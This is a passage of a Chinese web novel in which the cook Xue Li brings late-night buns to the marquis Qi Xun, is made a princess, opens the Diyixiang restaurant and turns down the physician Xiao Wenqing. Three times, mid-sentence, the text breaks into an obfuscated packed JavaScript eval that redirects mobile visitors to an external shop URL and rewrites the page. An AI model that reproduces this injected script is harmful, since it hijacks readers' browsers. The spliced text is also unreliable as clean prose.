他犹豫摇头，方一张口，婉拒的话语还未来得及脱出，便被措不及防硬塞了一嘴的米糕。 “咳咳——”齐恂呛得面红耳赤，方才装出的虚弱苍白全褪了个干净。 “欸呀，红枣补气血、健脾胃，米糕又是发酵过的，再好消化不过，侯爷就多吃几块嘛。”薛荔为他顺顺气，又要再喂。这回齐恂长了记性，怕她再来硬的，连忙接过自己吃下。 一旁的萧文清看在眼里，笑而不语。 到了晚上，薛荔心里仍不踏实。 白日里齐恂胃疼得那般厉害，这段时日，她可得好好盯着些他的饮食才是。 恰逢今日四时花会，太后要莅临夜宴，她便提前一个时辰做好了特制的糕点小食，特向太后她老人家告假回府。太后娘娘素来怜惜她，一听是齐恂胃疾又犯，应允得倒是十分爽利，还特遣人驾快马送她回府。 至墨竹堂时，可见房中灯火澈明。 薛荔拉住驻守门口的云冯：“侯爷可按时用过晚膳了？” 云冯仿若听见什么笑谈，摇头叹气：“还按时呢，侯爷压根连晚膳都没碰！” 话音方落，他的胳膊上便结结实实挨了一拳：“嗳哟！” 薛荔圆睁着双眸瞪着他：“你还替他骄傲上了。他不进膳，你就眼睁睁看着？做近卫的都不懂敦促两句么？” “我哪儿敢呀……”云冯委屈地摸了摸胳膊。薛小娘子，以为谁人都跟你似的，在侯爷跟前有那般大脸面呀？ 薛荔无奈叹息，只好叩门去寻齐恂。 “进。”那道声音淡淡的。 门“吱呀”一声打开，她探头进去，望向仍垂首办公的齐恂：“听云冯说，侯爷还不曾用膳，可是今夜饭菜不合胃口？侯爷今日方才胃疼，还是得吃些东西的。可有何想吃的菜？儿家去做来。” 齐恂手中的紫毫笔略顿了一顿，似乎在认真思考这一问题，而后语气平平，干脆利落回：“太晚了，不宜进食。” “…………” 这分明才过了晚饭点没一刻呢！ 薛荔张了张口，欲好言相劝，可转念一想，今日的齐恂着实有些奇怪。 该不会是……白日里萧文清对她的“倾慕之意”，他全都听见了吧？ 这是吃醋啦？难怪别扭成这般。 她只觉又好气又好笑。 他生气，她也想生气哩！都是古人，为何萧文清能表露心意，而他就偏闭口不言。 似乎觉察她一直杵着不走，齐恂抬眸淡淡望来，声音不冷不热：“还有何事？” 薛荔笑容一收，点头行礼，转身关门。 好你个齐恂！这周都莫想再吃到她做的美食了！她要搬去寿慈宫“小住”一段时间！看看谁更耐得住气！ 但回到旁舍没多久，薛荔坐在床沿，发愣了半晌，却又不禁轻轻叹息。 诶，还是不能让他空着肚子，若胃疾愈重，痛起来也是要人命的。 就算是为了保住自个儿的小命吧，她如是宽慰自己。于是乎，一边暗暗骂自己不争气，一边又披上外衣，动身往膳房去了。 - 话说，齐恂这边方用冷面将人赶走，心中便生出几分空落，忽有些后悔起来。 本就是萧文清那厮没安好心，蓄意接近薛小荔，对她百般示好，他又何必将气撒在她身上？要解决，也该是解决萧文清那祸害。 齐恂沉吟，白日里的那段话再度浮现耳畔，眉间渐渐皱起。当时若非他出面打断，她会如何答复他？是……会拒绝，还是应允？ 这一念一起，心绪便乱了，愈想愈糟，愈糟愈想。 齐恂抬手按了按额角，自己究竟是哪点比不上萧文清，竟让她不能干脆回绝。 不知已有多么久远的齐悦的吐槽浮现耳畔，恰如其时：“阿兄，你嘴真是太毒啦，脸还臭！” 齐恂被这十分应景的追忆惹得脸色又沉几分，忽而又想起什么，松了松面部肌肉，硬是让那副冷峻神情柔和几分。 ……可不能将人家气走了。 他深吸一口气，暗自打定主意，得赶紧去服个软，连借口都想好了——就说胃饿疼了，她顶多嫌弃地叨他两句，定不会不管他。 如是行至膳院门前，却不见旁舍有光，只膳房里灯火通明。 他快步过去，于支摘窗下立定一瞧，果见他家小厨娘围着灶台忙碌。 心底最后那点闷气倏然消散——她还是记挂着他的。 齐恂唇角微翘，眉眼间不觉染上几分柔情。 “侯爷？”薛荔正守着蒸笼，随意一瞥，竟捉住窗边那道颀长身影，意外至极，“您怎地到膳房来了？” 被逮个正着的齐恂略显局促，握拳掩唇咳了咳：“办公久坐伤身，出来走走，松松筋骨。” ……走到膳房门口算松筋骨？ 薛荔不动声色地翻了个白眼，饭都没吃，还有气力四处乱走。她的语气却仍然温柔：“秋夜风凉，侯爷可要顾惜着些身子，莫染上风寒了。” “说得有理，那我便进来歇会。”齐恂一本正经地点头，接着便兀自进屋，还顺手拖了条板凳，在她旁边落座。 不是，谁邀请你了？ “……”薛荔看着这位自来熟的侯爷，唇角抽了抽。 半晌，她终于忍不住开口：“我还以为，侯爷还在生我的气呢。” 齐恂摇头，语气平稳：“并非如你想的那般。白日里是我态度不佳，这点向你赔礼，但那并非冲你。” 薛荔脱口而出：“那便是萧次首喽？” 齐恂静静地看了她一眼。她忙讪讪补充：“儿家是见侯爷待他略显冷漠嘛。” 齐恂垂眸，望着灶底幽跃的火光，语声低沉：“母亲病危时，是由萧老院首诊治的。世人都称他医术通玄，有一双回春妙手，却偏偏救不回她性命……母亲殁后，老院首惭愧无地，就此辞官。说来可笑，我因他父亲未能救活母亲，一直耿耿于怀，而他亦因父亲就此致使，心有不甘。昔年的同窗之情，也因此生隙，消失殆尽。” 薛荔惊呼：“你二人原是同窗？” “很奇怪？”齐恂眉间微蹙，疑惑道。 “没有没有。”薛荔忙摆手。 这两人，原是老相识呀！ “抱歉，提及了你的伤心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925744|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事……”薛荔感觉有些对不住。 齐恂却难得地展颜，温润似雪初融。其实并未徒增伤心，时移事去，再谈及此事，他早已心同止水。 他心想，有她在，他便不会再觉痛楚。 灶上热汽升腾，两人谁也没再说话，蒸笼里的东西已被冷落了许久。 “这是为我而制的宵夜？”齐恂畅意舒气，起身欲揭开笼盖一瞧。 “对呀。”薛荔一愣，下意识地回道，但猛地又忆起来什么，忙喊，“欸，不行，等等！”她蹿一下跳起来，欲阻拦他伸出的手。 可为时已晚，齐恂动作何其之快，指尖一勾，便将笼盖拎起。白茫茫的水汽消散，齐恂定睛一看，神情渐从愉悦替换成疑惑。 “这……是何物？”一时间，他语塞，有些不知该如何称呼这东西。 薛荔绝望地闭了闭眼，心一横，信口胡诌起来：“这不就是一只大虫么？” 是的，她擀面做了只老虎样式的大馒头。 “……”齐恂默了一霎，“我知道，但它为何，生得如此……睿智？” 薛荔咬唇，简直不敢直视那只馒头，恨不得就地挖个洞钻进去——那大虫之躯是用雪白敦实的馒头做的，一双“怒目”是用黑豆泥压扁成的，面团剪成的羽毛状粗眉浓得像灌木丛，更显凶态，饶是何人见了都要道上一句“好一个瞋目竖眉”！ 要说最为吸睛的，还得是额中央贴着的歪歪扭扭的“王”字面花，以及用红蓝草染成的血盆大口中的虎牙。说那虎牙凶狠吧，可它又长得直戳鼻子，有些憨态，更像只气鼓鼓的大傻虎。 “睿、睿智……吗？”薛荔有些心虚。 她承认，做这只面点时情绪有些上头，夹带了一丁点私人恩怨。 “这可是吊睛银背大虫哇！侯爷难得不觉得很威风、很气派吗？” “…………” “若是对我有意见，你不妨直言。”齐恂半抬眼。 薛荔后背汗毛一竖，干脆就势抱着他手臂耍起赖来：“唉呀，哪有的事嘛？侯爷眼神也太不好使，大虫威武，儿家这是在夸您神姿俊逸呢！” “哦，是吗？” “当然啦！”薛荔左右晃悠他的手，整个人跟挂在他臂弯里似的。 齐恂原本还想板着脸，怎奈她笑意明灿，耳尖终究微微泛红。 薛荔瞧见，心底暗乐。 她恋恋不舍地松开他触感极佳的肌肉臂膀，抓起那惟妙惟肖的大虫馒头，烫得左右倒手掂了一掂，撅唇吹了吹凉气，再匆匆撕开成两半，里头包裹着的金灿蟹黄便流油似的溢了出来香气四溢。 “蟹黄馅儿的大虫馒头，侯爷快趁热尝尝！”薛荔递一半馒头凑至他脸前。 齐恂看着那被惨无人道“腰斩”的半边大虫，又看了眼她，眉梢微挑。 “看起来丑，吃起来香！”薛荔笑吟吟，将那半边塞进他手里，“若早知侯爷幼年有那样一段不快，今日宵夜，儿家便该做一碗甜滋滋的糖水来抚慰心灵才是。” 话落，她自己先咬了一口蟹黄馒头，眼底迸发出赞叹的光。 齐恂低眸失笑。这小狐狸，当是什么事情都算好了。若他不食宵夜，她便独享这上好的蟹黄馒头；若他食，她便一人一半。 无论如何，是一点儿也不亏待自己这张嘴。 50. 汴京第一香 苍天不负有心人。 经过薛荔近两月的不懈调治，太后的“麸疾”终于痊愈。 用她老人家的话来讲，那便是“眼睛清亮，脑袋清醒，气也不喘了，疹子也消了”！ 此等喜讯传遍宫廷，连翰林医官院的人都啧啧称奇，将其记入医书之中，反复研习。官家龙颜大悦，随即便下旨封薛荔为永嘉郡主，而太后娘娘亦少不了赏赐一番。 寿慈宫中香雾缭绕，珠帘轻垂。 宫女手持圆镜立在一旁，太后对镜自照，左瞧右看，都不见昔日脸脖上那些红彤彤的疹子，只余一片光洁如新的肌肤。 虽说她这般端详已有多日，但每逢看见，仍喜不自胜：“好孩子，你说说看，究竟想要何种赏赐？” 太后抚着脸庞，转过头来欣喜地瞧她，语带宠溺：“是喜欢金帛珠玉，还是富室豪邸？亦或是……” 薛荔虽端坐一旁，心思却早飞到宫女端上来的那碟花式茶糕上去了。 方才细品时，咬下去的第一口是绵软的，淡淡的米香先于唇齿之间盈开，而后茶的清涩又悄悄铺陈上来。 但那滋味又并非煞人味蕾的苦，而是清雅含蓄地在舌尖轻轻拂过，如同一位温润如玉的君子，回味时漫上丝丝甜味来。 这糕虽说已以茶汁入糕，但反过来配茶吃倒也很是宜人。 馅料的滋味不必太过复杂，洗沙、枣泥、莲蓉、麻蓉都可。像她眼下尝的这块茶糕，里头裹着的是桂花香椰馅，市井百姓们或许不曾吃过，她若自个儿钻研出做法，回头稍作改良，再拿去珍味铺试吃一番，准保大卖！ “……永嘉？永嘉！”太后唤了她好几声，才把薛荔的魂儿叫回来。 “是！娘娘，您请说！”薛荔从美好的事业蓝图中回神，连忙坐直，兴冲冲应答。 太后无奈地瞧她：“吾都问你好些遍了。” “儿家听见了。”薛荔亲昵地挨至太后膝前，忙不迭道，“您是问我喜欢金帛珠玉，还是富室豪邸。” “错咧。”太后惩罚似的轻戳了下她鼻尖，似嗔似笑，“吾是问你，连同这二者，再给你配上一位玉树芝兰的乌衣子弟作郎君可好？” 薛荔险些被自己的口水呛到：“娘娘！这等好事，儿家着实惶恐。” “你们这些小年轻的心思，吾是当真想不明白。”太后轻叹，终是无奈摆手，“罢了，那你说说你想要些什么罢。” 薛荔眼珠滴溜一转，退下来，叩首柔声道：“回娘娘，儿家不要金帛珠玉，亦不要富室豪邸，只求娘娘成全一桩小事。” 太后挑眉：“哦？说来一闻。” 薛荔上前，俯身在太后耳畔低语了几句。听得太后呵呵直笑，掐了把她脸颊：“你这丫头，果真鬼点子多。” - 九月，汴京的秋风已带些凉意，而大相国寺东边新起的第一香酒楼?却热闹非凡。 此楼虽不算极高，却也甚是气派，青砖为基，朱漆雕栏，檐角玲珑。正门上方悬着一块鎏金匾额，上书“第一香”三个大字，瘦金笔风和婉有力，又不失风骨——据围观的路人八卦，此物还是由太后亲笔赐书的！ “九月廿八，啧啧，这可是个稀罕的黄道吉日！”酒楼门前，一位白须飘飘的风水老先生捋着胡须，“?壬水通源，木火相生，正是‘水火既济’之兆。得此吉时开张，今后必得?贵人引财，?日进斗金，客似云来！” 围观热闹的百姓听罢，齐声叫好。 其中，最开心的莫属薛荔、喜鱼同三个小娃娃。 见众人脸上都洋溢着喜悦的色彩，姜喜鱼凑至薛荔耳边，暗笑道：“阿荔，你这招真灵！请个风水老儿来说些吉利话，旁人一听，都觉咱们‘第一香’是有福好店了！” 薛荔一面招呼着众人，一边扬起嘴角回她道：“咱们本就是有福之店。能太后娘娘懿旨赐名，这汴京城中，也只有咱们第一香独有这份殊荣。” 那日太后问她想要何赏赐，她可谓是强忍下肉疼，推拒了无数金银珠宝，甚至是汴京城三环内的一套甲第宅院，为的便是今朝的便利。 太后娘娘都赞不绝口的厨娘，现如今要出宫开酒楼来了，这本身就是最好的金字招牌。谁人不想凑个热闹，一尝风味呢？ 当然了，薛荔对自个儿的手艺亦相当有自信，便是旁人只想凑个热闹，她也会用美味的菜肴征服对方的味蕾，将那人变成回头客。 眼瞅着气氛正浓，薛荔给那风水先生使了个眼色。 老先生心领神会，闭目掐指一算，朗声高喝：“此日开张，灶君老爷要亲点天厨贵人?坐镇。所谓‘天厨贵人’，大家都知晓吧？一生不愁吃穿，食禄不虞匮乏。老夫观店主八字，正是带天厨贵人星之人。若能吃上她所制的膳食，必可解困厄，沾福运。大家伙儿可千万莫要错过这百年难逢之机啊！” 人群堆里有人称是：“难怪太后娘娘的病症消散，原是薛店主命中带福！” “薛掌柜，您也莫啰嗦了，赶紧剪了这彩，好让咱大家伙进去尝鲜啊！” “正是！正是！” “……” 欢呼声高涨，可该有的吉利流程却一项也不能少。 一阵阵起哄声中，姜喜鱼紧盯案台上香篆钟的刻线?，待香火燃至午时，便拎锤敲鼓，欢喜高呼：“吉时已到！剪彩！” 霎时间，酒楼外锣鼓齐鸣，爆竹如雷，漫天彩屑飞舞，喜声震天。 一片欢笑之中，薛荔笑着捂耳取过金剪，利落一声剪断红绸。 “豆姑！馍儿！莫玩啦，快去散吉！”姜喜鱼扯着嗓子唤住那两个早已耍疯了的小犊子。 那两个娃娃正追着舞狮的百戏伶人嬉耍，糍儿则在一旁无奈地看护着弟妹。 “来啦来啦！” 三个孩子接过姜喜鱼递来的都篮，跑上二楼观景台，朝围观之人撒下油纸扎好的桂花糯米糖丸，惹得人群中的童子们嬉笑纷抢，笑声与糖香一同飘散在秋风里。 在这片热闹喧阗的声浪中，薛荔转身仰望这家属于自己的第一香酒楼。 从摆路边摊的小娘子，到珍味铺的薛店主，再到宁武侯府的小厨娘，最终成就了如今的薛掌柜，这一路并不容易，可当下她的心境竟是意外的宁静。 “薛小娘子！” 熟悉的嗓音从喧嚣中穿透而来，薛荔回头一瞧，原是本不该在此的云冯乘着马车来了。 车马缓缓停在门口，还未停稳，云冯便跳下车来，笑嘻嘻地朝她拱手贺礼：“小娘子——不，现在是真该改口唤薛店主啦。” “你不是随侯爷去兖州查案了么，怎么会在这儿？” 说着，薛荔扫了眼那转瞬之间便不再拥堵的酒楼前门。方才还热闹非凡，如今竟连孩童都被大人扯着袖口避让了去。 她不禁吐槽：“便是侯爷未至，也能仅凭一辆马车将我的食客们都吓跑，侯府的威名当真是无人能及呀。” “诶，这是哪儿的话？”云冯嘿嘿解释道，“侯爷记挂着小娘子新店开业，特准备了一车贺礼，全是小娘子能用得上之物。还有悦姐儿的心意，也一并带来了。” 薛荔朝那边一望，便见几名脚夫哼哧哼哧地抬着大雕花木箱入内，姜喜鱼在旁招呼指引，倒也颇有派头。 她郑重地福了一福身子：“多谢侯爷挂心，待到侯爷归来，我定亲自言谢。” 侯爷要的，又哪是“言谢”呢？ 云冯低笑摇头，末了，又想起来正事：“对了！还有一事，侯爷说，小娘子定会欢喜！” “那又是何事？”薛荔一脸茫然。 云冯神秘一笑，从袖中掏出几只鼓鼓的钱袋，分与同来的几个侍卫，站到酒楼门前最高处，扯着嗓门吆喝起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940218|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来：“第一香酒楼开业大吉！今日进店消费前三高者，皆由宁武侯买单！” 他同那几个侍卫一个比一个嗓门大，说罢，齐齐往空中洒起铜钱来。铜板落地叮叮当当，引得街头巷尾顿作欢呼。 薛荔一愣，旋即忍俊不禁。 怪不得齐恂笃定她会喜欢这份礼物——务实又有面，云胡不喜？ 薛荔在后厨忙活了一上午，幸而有喜鱼和三个娃儿帮衬，且请来的几位厨工和跑堂也都能干。 时至午后，她总算是得空到二楼赏景台上吹吹秋风，歇口气了。 秋风拂面，携着桂花香。她靠在栏边，轻轻舒了口气。 “我从前一点儿也不知，开一家酒楼竟比当贼还累。”姜喜鱼倚在墙边，抬手握拳捶了捶腰，一副生无可恋模样，“咱们这规模搁酒楼之中都还算小的了，也不知那些豪华正店的东家该是如何辛劳……欸，对了！阿荔，咱们请了好些帮工，银两还够不够用？不够的话，我再去劫个富，补补亏空！” 薛荔抬手在她脑门上轻弹一记：“这是哪门子歪主意？虽说咱们手头紧了点，但日子还是过得去的。” 她细细盘算了下这一阵的花销。 当初盘下这酒楼可不容易。它原是一家药局，一楼卖药材成药，二楼专设诊室供医师坐堂问诊。因着地段好，规模大，来往买药看病的人不少。 只可惜旧东家心大，为了囤积犀角、麝香之类的名贵药材，向外蕃药商赊下不少账，运货中途又惨遭倭寇劫船，亏得那叫一个血本无归，十几年的生意都白忙活了。 眼见着外蕃药商咽不下这口气，拿着契书要去告官，药铺东家这才动了转卖铺面的念头，急急地去街道司张贴了告示，贱价转卖铺面。 虽说是贱价，可此地如何说也是在寸土寸金的大相国寺附近，价格能低到哪儿去？药铺东家本执意整栋卖出，开口便要两千两百贯。 薛荔怎一下子拿得出这么多钱来？软磨硬泡，才劝服他保留?二楼产权，仅卖一楼，另将二楼租给她。 才只算了铺面的钱呢，她便肉疼得不行。幸好原主的药理知识与她自身的生活经验助她调理好了太后的“麸疾”，她虽未接受太后娘娘的诸多赏赐，只求她亲书了一块金漆木匾，但官家龙颜大悦，封了她郡主名号。 要晓得，便是平民郡主，那也是有俸禄的！ 自己攒了几月的月俸钱，再加上先前开珍味铺时累积的财富，勉强能付清酒楼的铺面月租。余下她还雇了好几个帮工，他们这几月的薪水便只能从她在侯府里赚得的钱中出了。 此外，她还新雇了两位厨子。 这二人从前皆是在高门大族里当副厨的，因上了些年纪，便被主人家赐了赏钱，解聘出府。 但薛荔不觉着年龄是个问题，厨子自是愈老愈吃香嘛！手艺熟稔不说，味道还经典。 她给二人各分了独立的工作：一位负责地上跑的，一位负责水中游的；小菜暂由糍儿这个小学徒负责；她则专攻创新菜肴及药膳。豆姑心细，由喜鱼教着学算账。另还招了四位小厮，与馍儿一同跑堂。这样一来，也算是把堂前堂后照应周全了。 至于日后，她心中自有盘算。 等赚得足够的银两，便去买酿酒许可证，再招几位好酒匠酿酒。 到那时，“第一香”不必再仰仗大酒楼鼻息，这才算是真正立住脚了。 只是每当夜深，薛荔想起原主的事，总是心觉惭愧。 那位苦命的小娘子本该在泉下同耶娘团聚了，可谁料半路杀出个她，占去了她的身躯，重活一回“薛荔”。 薛荔想，至少逝后人家该体体面面地葬在一处罢。 是以，她索性买下薛家老宅后山的一块地，为薛氏一家修了墓园。逢年过节，她都要亲自去上香祭拜，也算是告慰感激原主的在天之灵了。 51. 愿君喜与乐 街对面，有几个挑担的小贩清晨便支起摊子，现如今探头探脑地瞧着这边，显然是想借今日酒楼新张的热闹蹭些生意。 “呵！阿荔你瞅，那人是不是李二狗子？”姜喜鱼眼尖，一眼就认出其中一人，气得牙齿咯咯作响，按松指关节，“他竟然还敢来蹭咱们的生意？瞧我收拾他！” 姜喜鱼袖子一挽，气势汹汹便要冲出去，薛荔使出牛劲才拽住她胳膊：“莫冲动呀喜鱼！” “你拦着我做甚。”姜喜鱼仍狠狠盯着那人，“先前咱俩还在摆摊时，他偷偷往咱们摊子上倒泔水，我还没找他算呢！” “当初是当初，如今是如今。”薛荔紧紧抱住她不让走，“你瞧，咱们如今都开上酒楼了，他不还是一个小小摊主么？再说了，此事明面瞧着是他沾咱们的光，实际上，真正的受利之人还是咱们呀！” 姜喜鱼被这话绕得有些糊涂，迟疑下来：“此话该怎讲？” 见她不再挣扎，薛荔终是能歇口气松开她：“你想呀，像李二狗子那样的小贩，若是因咱们而生意兴隆，自会盼着咱们酒楼开得愈长久愈好。反之则不一样了，咱们若不让他做生意，他一闲下来，岂不使劲给咱添乱？” “还真是这道理！”姜喜鱼半晌才恍然。 薛荔失笑，伸手拍了拍她的肩：“咱们做买卖的不怕竞争，就怕没生气。人多了，街才热闹；街热闹了，酒楼才有人气。” 二人还未说完，馍儿气喘吁吁地跑上楼来传话：“阿荔姊姊，有人指名要寻你！” 薛荔心中一跳，该不会开张第一日就要被找麻烦了吧？ “我这便去。”她镇定应下。 姜喜鱼忙道：“我同你一道去，看哪个不长眼的敢来找茬！” 她话音才落，帘外忽传入一道温润男声，声音如玉般温和：“不必了。” 薛荔转身一瞧，只见萧文清已立在门边。日光从他身后斜斜照来，衬得他云容玉貌，眉目如画。 今日的他未着那身品绿圆领公服，只穿一袭月白云纹澜衫，衣袂飘飘，气度温雅，比平日里多了几分闲散与亲近。 那一眼望去，倒真像邻家温文又随和的好阿兄。 姜喜鱼眯眼一瞧，颇觉欣慰，忍不住在心底使劲点头：她家阿荔魅力可真不小呀！ 萧文清上前几步，笑意和煦：“今日酒楼开张，自当我来见你才是。” 他说着，将手中之物递予她：“经营酒楼免不了劳心费神，此物乃东阿县出产的冬板黑驴胶，可疗虚痨、补气血。你每日取一小块，捣碎成黄豆大小，以?黄酒烊化蒸融，早膳前服用。若觉味苦，可加黄.冰糖或兑牛乳，不出一月，神采自会焕然。” “这其中是两人份，一份给你，一份给姜小娘子。” “我也有？”姜喜鱼眼前一亮，嘻嘻接过那沉甸甸的木匣，上下打量一番萧文清，又瞅瞅薛荔，心觉十分满意。 此人倒是不错，会来事，待阿荔也好，最要紧的是，瞧着要比齐恂那张冷脸顺眼多了。 姜喜鱼的目光在两人之间转了转，借口道：“楼下又来客了，我先去招呼。”说罢，还对薛荔挤了个“你懂的”眼神，脚底抹油似的溜下楼去了。 薛荔瞧她那样，哭笑不得。 二楼露台由她亲手打造成了一方小花台，栏杆漆成暗红色，檐下悬着孩子们绘了可爱图画的风铎，色彩明亮，且涂了桐油，防水又防潮。此刻秋风一过，风铎清响，如玉珠轻撞，悦耳又宁静。 “上回在寿慈宫中……”萧文清斟酌几番，终是徐徐开口，“我问你的那一问，你可曾想过？” 当时二人的对话恰好因齐恂的来临戛然而止，她欲言未尽，追问答案的念头便在他心中萦绕多日。 露台上，二十来盆金桂花期正盛，甜香扑鼻，引得路人或频频抬头，或驻足望赏。 薛荔看着眼前温润如玉的男子，心中一叹。她原不愿伤人心，但有些话若不说清，反倒徒添牵绊。 她理了理思绪，柔和道：“萧次首，你出身书香门第，家中几代都为人翘楚，而我不过素门之女，要说有何拿得出手的，也只是庖厨里的那一套功夫。说白便是你我二人成了，日后你要吟诗作画、抚琴焚香，我是一样也学不来的呀……” “你莫这般轻看自己。”萧文清神色笃定，目光直落在她脸庞，郑重道，“出身高低乃父母所赐，岂能凭此定人高下？若真如此，我也只当那定论之人轻率无脑。况且，现如今你是有功于太后的郡主，要说你我二人之中谁配不上谁，也合该也是我配不上你。” 他顿了顿，又笑道：“至于你说的‘吟诗作画、抚琴焚香’，我虽出身诗礼之家，但一心只顾钻研医术，没有文人的那些爱好，识药入膳或许还感些兴趣——此事上，我与你倒是正好相投。” 薛荔忽而有些头疼了。怪不得他跟齐恂是同窗呢？两人竟是一般的死脑瓜骨。 她柔声再道：“你同我相处不过数月，认识且欣赏的，可能只是那个擅将医理融于食理，在膳房里大放异彩的我。可若日后真正相处，你或许会发现，我并非你所想的那般好……说不准，将来你还会遇见更适合你的女子呢？” 最后一句道出口，薛荔见他唇畔弧度一点点下落，便知他是听懂了。 气氛静了一霎，只余檐下那对风铎“铃当”作响。 萧文清的笑意缓缓收敛，垂首一哂：“其实，从你一开始唤我‘萧次首’时，我心中便有定论了。只是仍心存侥幸，大抵是想听你亲口说出，也算给自己一份了断。” 薛荔张了张口，不知该说些什么宽慰才好。 萧文清抬眸看她，眼底掠过一丝暗色：“那齐恂呢？同窗多年，我早看出他对你动心。” 她未答，只轻抿了抿唇。 他微微苦笑：“他自幼便是个冷心冷性之人，谋事只重结局。若有一日你对他无用了，他定会像当年舍弃我父亲那般，舍弃你……在我看来，你心悦何人都无妨，但他当真配不上你。” “其实，他并非那般心硬之人。”薛荔轻轻摇头，“你莫瞧他成日里冷脸待人，但私下里他亦有柔软的一面。” 就像他因不愿她离开而装作胃疾复发，却也不忍她放弃一直以来怀揣着的酒楼梦。于是，在第一香开业的前夜里，他忽然寻上门来，说要给她投资： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954914|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你本是在我这处谋事，如今得了郡主封号，便想翻脸不认人了？” 薛荔至今还记得他那副故作冷淡、却略显不自在的模样，心底不由得暗暗失笑。 “脑袋瓜还算机灵，知晓不能辱没了自己这番手艺，借开酒楼来生财。只不过……”齐恂的目光将她从头到脚扫过一遍，“想来如今你手中银两也不算多。” 薛荔还未来得及因那最后一句话气恼，他又不紧不慢地抛出橄榄枝：“不若让我入股第一香，届时分成四六开，如何？” 四六分成？薛荔撇了撇嘴角，饶是谁四、谁六，她都不大满意。 似是瞧出了她的小心思，齐恂淡淡睨了她眼：“我四你六，这还不满意？——那还是趁早拆伙好了。” 薛荔这才忙不迭地应下。大不了日后放出些风声，便说第一香背后是宁武侯这冷面阎王作靠山。有他的名声在，想来那些找茬之人自会退怯。而欲讨好他的人呢？也自然会跑到她家第一香酒楼来送钱啦！ 除了明面上的出资，薛荔察觉到更多的，其实是暗中的照拂。 譬如，她张贴出征聘厨子的告示不过两日，竟有数位老厨主动上门应聘。 汴京城的行会门槛极高，规矩森严，可迄今为止，却无人刁难她半分。 至于那些最让人头疼的官府征税与稽查，每逢她出面，对方皆是和颜悦色…… 此类细节，数不胜数。 薛荔并非天真之人，不以为老天奶独独偏爱于她。世上哪会那么多平白无故的好运之事？不过是有爱你之人在前，不声不响地替你披荆斩棘罢了。 “……我想说的，是他很珍惜我。”薛荔垂眸，睫毛轻颤，而后又抬眸含笑，“至于你，我一直将你当作我为数不多在药理医术上的知己，或是一位善解人意的兄长。” 见她神情坚定，心中已打定了主意，萧文清沉默片刻，终是故作释然地一笑，仍旧温和：“既如此，我便祝你心之所向，皆可得偿。” 末了，他顿了顿，“只盼你心中那人，也懂得你的好。” …… 萧文清离开第一香酒楼时，外边街上瑟瑟秋风乍起，煞是寒人。 他正心中萧瑟着，忽听身后有人急唤。 “萧郎君！萧郎君留步——！” 他回首，见是酒楼中那个跑堂的孩子疾步追了上来，气喘吁吁，手中还捧着一个食盒。 “小郎君有何事？”他停下来，俯身问询。 “阿……阿荔姊姊嘱托过，这是要送予你的。” 食盒被捧至他面前，萧文清微怔，云里雾里地接过。 盒子并不算轻，以他对她的了解，想来也是她的回礼。 他无奈地摇了摇头，信手揭开食盒盖，却在瞧见盒中东西的那一刻霎时怔住。 食盒之中盛着的并非旁物，而是一格格精致的糕点——花糕、糍糕、梨泥糕、鹿鸣饼……每一样，皆是他爱食之物。 而那盖底还糊着一张淡青色的笺纸，纸上似有寥寥数语。 他揭下来细看，瞧见那清秀笔迹，不觉眼眸有些发热——“愿君喜乐永日，顺遂无虞。” 52. 酥油桃穰酥 酒楼新张虽繁忙，可薛荔心头仍惦记着齐恂那胃疾的老毛病。 管他是真疼也好，装疼也罢。总而言之，她是打定主意要把他那战损了的胃养得健健康康。这大概也是每一位厨子对自家食客共有的执念了吧。 这不，她方处理完酒楼里的生意，便风风火火地赶回侯府来了。 好在那位侯爷虽冷面，却也还有点良心，知晓她赶路不易，给她配了一架马车接送。 否则，岂不会跑断她的小腿？ 甫一出酒楼，她便瞧见车头上坐的并非平日那位侍卫小郎君，而是一张熟面孔。 “云冯？今日怎是你来接我？”她惊喜道。 云冯斜倚坐在车夫旁，半个身子挂在车外，悠哉地朝她挥手，两排大白牙亮晃晃的：“今日公务清闲，侯爷便派我来接薛小娘子了！” 说着，他殷勤地将薛荔扶上车，又从怀里摸出一包油纸包，挠了挠后脑勺：“阿娘进京看我，带了好几大包她做的桃穰酥。平日里都是我吃小娘子的好东西，今日也叫小娘子尝尝我的。此物她最是拿手，我们一家人都爱吃！” 薛荔接过，满意地锤了下他肩头：“不错呀云冯，算我平日没白给你开小灶！” 云冯饶不好意思地嘿嘿两声，连声催促车夫驱车。 帘后车厢里，薛荔拆开那包桃穰酥，打开一瞧，只觉诱人极了。一块块圆润的桃酥齐齐整整地码挨在一块儿，饼面金黄微红，表面撒着一层芝麻，散发出醇厚浓郁的酥香。 